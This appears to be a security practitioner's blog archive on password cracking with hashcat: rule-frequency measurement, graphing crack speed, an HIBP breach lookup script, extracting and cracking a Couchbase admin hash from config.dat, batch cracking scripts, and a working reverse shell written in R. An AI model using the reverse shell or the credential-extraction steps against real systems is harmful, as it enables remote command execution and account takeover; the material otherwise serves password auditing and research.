Tuesday, January 7, 2020

Checking on Rule Utility


Currently churning through a bunch of rules to see if they're as good as I hope they are. (If you aren't measuring it, it might just be wishful thinking.)

So, run hashcat with --debug-mode=4 --debug-file=foo and make sure you have an empty pot file if you want representantive data.

Post process with this:

#!/bin/perl

while ($line=<STDIN>)
{
    chomp($line);

    if ($line=~m/^([^:]+):(.+):([^:]+)$/) {
        $line=$2;
    }

    if (!defined($f{$line})) {
        $f{$line}=1;
    } else {
        $f{$line}=$f{$line}+1;
    }
}

foreach my $rule (sort { $f{$b} <=> $f{$a} } keys %f) {
    if ($f{$rule}>1) {
        printf "%s,%s\n", $rule, $f{$rule};
    }
}

Which gives you rule,# occurrences if you run the debug file through it. Then you can plot log_10 of the frequencies and see which ones are actually any use.

This is provisional data, looks like a decent run will take a week or two...
(HIBP data, Top258Million-probable.txt dict)




Thursday, December 26, 2019

Visualising password strength

We can plot a graph of how quickly passwords were cracked if we use the --status flag to hashcat. Here I'm using hashcrack (my preprocessor tool), but I've bolded the actual command:

C:\Users\jamie\Desktop\hashcrack>python hashcrack.py -i defcon2010-ntlm.txt --status graphme -t ntlm
Running under win32
Reading file: C:\Users\jamie\Desktop\hashcrack\defcon2010-ntlm.txt
Cracking hash type 1000
Selected rules: l33tpasspro.rule, dict Top32Million-probable.txt, inc 7
Using dict and rules
cwd C:\Users\jamie\Desktop\hashcrack\hashcat-5.1.0
RUN: hashcat64.exe -a0 -m 1000 C:\Users\jamie\Desktop\hashcrack\defcon2010-ntlm.txt C:\Users\jamie\Desktop\hashcrack\dict\\\Top32Million-probable.txt -r C:\Users\jamie\Desktop\hashcrack\rules\\\l33tpasspro.rule  --loopback  -O --bitmap-max=26  -w3  --session hc   --status >> graphme
nvmlDeviceGetFanSpeed(): Not Supported

Which generates a file with passwords and status blocks every 10 seconds by default.

$ tail -f hashcat-5.1.0/graphme
dec8a34aa4bc2d353f2efe1444d2f221:*august44
2c11334bed44c825d8cada5750ae73f3:redsox2009*
e8f86fa257ee161f614392d857003ec2:_february02
19eb76b54408a43db967232755d765e8:Michelle2010_
1a3c6d930cb45ee973a5c8a771f40080:_july56
07084a7e69b300d8b721926d63ae4fe7:-may2010
412f4a3abd9849e0507a8a77fdbaf055:.Eland0
32c21079c515f43263008700e18ea3b2:+May2010
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>

Session..........: hc
Status...........: Running
Hash.Type........: NTLM
Hash.Target......: C:\Users\jamie\Desktop\hashcrack\defcon2010-ntlm.txt
Time.Started.....: Tue Dec 24 10:48:55 2019 (4 mins, 1 sec)
Time.Estimated...: Tue Dec 24 13:05:44 2019 (2 hours, 12 mins)
Guess.Base.......: File (C:\Users\jamie\Desktop\hashcrack\dict\\\Top32Million-probable.txt)
Guess.Mod........: Rules (C:\Users\jamie\Desktop\hashcrack\rules\\\l33tpasspro.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#3.........:   390.4 MH/s (93.46ms) @ Accel:256 Loops:64 Thr:1024 Vec:1
Recovered........: 4301/28250 (15.22%) Digests, 0/1 (0.00%) Salts
Recovered/Time...: CUR:237,N/A,N/A AVG:1069,64148,1539561 (Min,Hour,Day)
Progress.........: 93888119434/3205101539547 (2.93%)
Rejected.........: 197258/93888119434 (0.00%)
Restore.Point....: 524289/32496543 (1.61%)
Restore.Sub.#3...: Salt:0 Amplifier:80448-80512 Iteration:0-64
Candidates.#3....: +26031966 -> Diciebat$
Hardware.Mon.#3..: Temp: 52c Util: 98% Core:1518MHz Mem:2504MHz Bus:4

8c68736928e42e66037e5bbbb903b9b6:Vision2009$
2aad6138821080362213b077c0700c5a:Surfer2010$
2970efdb3055263f08fdcc7a29fb3f46:+Zachary|
b3dfeedddf1f3b00f5a54a7844a05a60:$Newyork2009
1277707fad19015728748852a4a1614b:$July07

A script I wrote can then be used to graph how quickly the passwords are recovered:

C:\Users\jamie\Desktop\hashcrack>python graph-by-quality.py hashcat-5.1.0\graphme

Because we've used the frequency-ranked TopNMillion-probable list, we can see the graph shows a fair amount of passwords cracked very quickly. As a system administrator, it's these you need to worry about - get rid of the weak passwords and you improve the overall "fitness" of the population quite significantly.



You can also compare cracking approaches like this - provided you make sure each one starts with an empty pot file. Below is the longer run with the --nuke option to hashcrack, which runs a number of extra bits and bobs, like suffixes.


Thursday, December 19, 2019

Cheap and Cheerful Password Breach Check


Get the HIBP NTLM hashes ordered by hash, and unzip: 

wget https://downloads.pwnedpasswords.com/passwords/pwned-passwords-ntlm-ordered-by-hash-v5.7z
 7z x pwned-passwords-ntlm-ordered-by-hash-v5.7z

Download and compile sgrep: https://sourceforge.net/projects/sgrep/ 

Create the following python code: 

$ cat breachdb.py
#!/usr/bin/python3
import hashlib
import fileinput
import subprocess

for line in fileinput.input():
    line=line.rstrip()
    ntlmhash=hashlib.new('md4', line.encode('utf-16le')).hexdigest()
    process = subprocess.Popen(['/home/jamie/sgrep', '-i',ntlmhash,'/home/jamie/pwned-passwords-ntlm-ordered-by-hash-v5.txt'],stdout=subprocess.DEVNULL)
    process.communicate()
    return_code = process.poll()
    if return_code is not None:
        if return_code == 0:
            print("Found '"+line+"' in breach")

And run with your password list: 

$ echo password | ./breachdb.py
Found 'password' in breach

And you can just omit the ntlmhash bit if you want to look up hashes directly, rather than plaintexts.



Tuesday, December 17, 2019

Cracking Couchbase Admin Password

First, find config.dat on the server. In config.dat, find the string "plain", e.g.

h m\0\0\0 plainm\0\0\00bl/nSj6e7vZS5KQqHmoTER7Z4cgTcDSL5vZTeaaFEAqCpxpLh m

take 0'b...'h - lose the initial '0' and the trailing 'h' - and base64 decode, then ASCII hex encode to get

6e5fe74a3e9eeef652e4a42a1e6a13111ed9e1c81370348be6f65379a685100a82a71a4b

salt is first 16 bytes , hmac result is next 20 bytes

salt 6e5fe74a3e9eeef652e4a42a1e6a1311
hmac 1ed9e1c81370348be6f65379a685100a82a71a4b

For hashcat construct as

hmac:salt, so like this for my example:

1ed9e1c81370348be6f65379a685100a82a71a4b:6e5fe74a3e9eeef652e4a42a1e6a1311

Then crack with hashcat mode 160 and --hex-salt :

hashcat64.exe -m 160 ..\salt-n-mac.txt ..\dict\Top32Million-probable.txt -w3 --hex-salt -O  -r rules\InsidePro-PasswordsPro.rule

..

1ed9e1c81370348be6f65379a685100a82a71a4b:6e5fe74a3e9eeef652e4a42a1e6a1311:password


How did we get here?


I should point out this comes from much trial and error and reading the erlang source code. If I could read erlang better, I would probably have taken less time to get there.


Saturday, July 13, 2019

Reverse Shell in 'R'

By underwhelming popular demand, here's a reverse shell for the 'R' language. Change IP address, port and also "cmd /c" if you're not running on Windows.

I may have stolen this off someone, but I can't find it now; many apologies if so.

See also https://www.rapid7.com/db/modules/payload/r/shell_reverse_tcp


client <- function(){
  while(TRUE){
    con <- socketConnection(host="127.0.0.1", port = 1234, blocking=TRUE, server=FALSE, open="r+")
    while (TRUE){
      sendme <- readLines(con, n=1)
      output <- system(paste0("cmd /c ",sendme), TRUE)
      write_resp <- writeLines(output, con)
    }
    close(con)
 }
}
client()

Saturday, September 15, 2018

More on password cracking

Some more ideas for password cracking when you've run dict+rules.

lastN or lastN-M is a list of common suffixes taken from a breach compilation

l33tXXX.rule are leetified rules - see perl script after the bash script:

#!/bin/bash

# no inc as we've done it already
python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top32Million-probable.txt -r rules/nsav2dive.rule

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top95Thousand-probable.txt -r rules/l33test.rule

# troy hunt and other breaches..
python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/breachcompilation.txt -r rules/nsav2dive.rule

# dumb stuff
# python3 hashcrack.py -i ../32hex.txt -t md5 --noinc --mask maskfiles/default.hcmask

python3 hashcrack.py -i ../32hex.txt -t md5 -d nb --noinc -e /root/dict/last1-4.txt

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/ucth.txt -r rules/nsav2dive.rule

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top2Billion_probable.txt -r rules/l33t64.rule

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/first1-4.txt -e nb

# suffixes...
python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top95Thousand-probable.txt -e /root/dict/last1-4.txt

# python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top32Million-probable.txt -e /root/dict/last3.txt

# python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top32Million-probable.txt -e /root/dict/last4.txt

# previously found and phrases
python3 hashcrack.py -i ../32hex.txt -t md5 -d nb --noinc -r rules/l33test.rule

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc --mask maskfiles/hashcat.hcmask

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/Top2Billion_probable.txt -r rules/best64.rule  --noinc

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/Top2Billion_probable.txt -r hashcat-4.0.1/rules/InsidePro-PasswordsPro.rule  --noinc

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/crackstation.txt --noinc

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top258Million-probable.txt -e /root/dict/last3.txt

# PACK - password policy mask
# python3 hashcrack.py -i ../32hex.txt -t md5 --noinc --mask maskfiles/ntlm.hcmask

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/Top2Billion_probable.txt -r rules/nsav2dive.rule  --noinc

gen-leet.pl, which takes an existing rules file and leetifies it:

#!/bin/perl

# leetifies existing rules

$r="XYZZY\nXYZZYsa\@\nXYZZYse3\nXYZZYsa\@se3\nXYZZYsi1\nXYZZYsa\@si1\nXYZZYse3si1\nXYZZYsl1\nXYZZYsa\@sl1\nXYZZYse3sl1\nXYZZYsi1sl1\nXYZZYso0\nXYZZYsa\@so0\nXYZZYse3so0\nXYZZYsi1so0\nXYZZYsl1so0\nXYZZYss5\nXYZZYsa\@ss5\nXYZZYse3ss5\nXYZZYsi1ss5\nXYZZYsl1ss5\nXYZZYso0ss5\nXYZZYsa\@\nXYZZYse3\nXYZZYsa\@se3\nXYZZYsi1\nXYZZYsa\@si1\nXYZZYse3si1\nXYZZYsl|\nXYZZYsa\@sl|\nXYZZYse3sl|\nXYZZYsi1sl|\nXYZZYso0\nXYZZYsa\@so0\nXYZZYse3so0\nXYZZYsi1so0\nXYZZYsl|so0\nXYZZYss5\nXYZZYsa\@ss5\nXYZZYse3ss5\nXYZZYsi1ss5\nXYZZYsl|ss5\nXYZZYso0ss5\nXYZZYss\$\nXYZZYsa@ss\$\nXYZZYse3ss\$\nXYZZYsi1ss\$\nXYZZYsl|ss\$\nXYZZYso0ss\$\n";

while ($line=<STDIN>) {
    chomp($line);    chomp($line);

    if ($line=~m/\S/ && $line!~m/^#/) { 
        if ($line!~m/s[oOaAeEiIsS]/) {
            
            # don't do repeat substitutions
            
            $a=$r;
            $a=~s/XYZZY/$line/mg;
            
            print $a;
        }
    }
}

#usage - might need to dos2unix the source rules first 

# perl rules/gen-leet.pl < rules/nsav2dive.rule | awk '!x[$0]++' > l33tnsa.rule

# perl rules/gen-leet.pl < d3adhob0.rule.txt | awk '!x[$0]++' > deadleethobo.rule

# perl rules/gen-leet.pl < rules/InsidePro-PasswordsPro.rule | awk '!x[$0]++' > l33tpasspro.rule

# cat rules/nsav2dive.rule d3adhob0.rule.txt |  perl rules/gen-leet.pl | awk '!x[$0]++' > l33test.rule

# perl rules/gen-leet.pl < rules/best64.rule | awk '!x[$0]++' > l33t64.rule


# etc.